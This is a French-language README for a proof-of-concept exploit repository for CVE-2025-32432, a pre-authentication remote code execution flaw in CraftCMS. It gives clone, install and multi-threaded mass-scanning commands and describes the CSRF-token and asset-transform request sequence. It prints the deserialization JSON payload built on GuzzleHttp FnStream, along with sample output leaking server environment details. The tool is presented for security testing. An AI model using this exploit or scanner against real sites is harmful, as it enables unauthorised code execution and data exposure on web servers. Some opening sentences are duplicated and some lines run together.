
Ce dépôt contient un script d'exploitation de type preuve de concept pour CVE-2025-32432, une vulnérabilité d'exécution de code à distance (RCE) avant authentification affectant CraftCMS versions 4.x et 5.x. La vulnérabilité se situe dans la fonctionnalité de génération de transformations d'actifs de CraftCMS.
Ce dépôt contient un script d'exploit de preuve de concept pour CVE-2025-32432, une vulnérabilité d'exécution de code à distance (RCE) sans authentification affectant CraftCMS versions 4.x et 5.x. La vulnérabilité se situe dans la fonctionnalité de génération de transformations de ressources de CraftCMS.
Ce script d'exploit automatise la détection et la vérification de la vulnérabilité en :
⚠️ Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
Utilisez cet outil uniquement sur des systèmes pour lesquels vous avez une autorisation explicite de test. Tester sans autorisation est illégal et contraire à l'éthique.
# Cloner le dépôt
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Installer les dépendances requises
pip install -r requirements.txt
Pour scanner une seule cible :
python3 craftcms_rce.py -u example.com
Pour scanner plusieurs cibles à partir d'un fichier (une URL par ligne) :
python3 craftcms_rce.py -f urls.txt -t 10
Où -t spécifie le nombre de threads à utiliser (par défaut 5).
-u, --url URL unique à tester
-f, --file Fichier contenant les URLs à tester (une par ligne)
-t, --threads Nombre de threads (par défaut : 5)
-h, --help Afficher le message d'aide et quitter
Le script affiche les résultats dans la console et enregistre les cibles vulnérables dans vulnerable.txt au format CSV avec les colonnes suivantes :
Exemple de sortie console :
[*] Testing single target: https://example.com
[*] Starting scan with 5 threads
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
Cette vulnérabilité exploite un problème de désérialisation dans CraftCMS. L'exploit :
/index.php?p=admin/dashboard pour récupérer un jeton CSRF/index.php?p=admin/actions/assets/generate-transform avec une charge utile JSON spécialement conçueGuzzleHttp\Psr7\FnStreamphpinfo() et en extrayant des informations système spécifiquesL'exploit tire parti d'une désérialisation non sécurisée dans le processus de génération des transformations de ressources. Le chemin de code vulnérable permet à un attaquant d'injecter un objet PHP personnalisé qui est désérialisé, conduisant à une exécution de code arbitraire.
Les composants clés de la charge utile :
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Les contributions, problèmes et demandes de fonctionnalités sont les bienvenus ! N'hésitez pas à consulter la page des problèmes.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.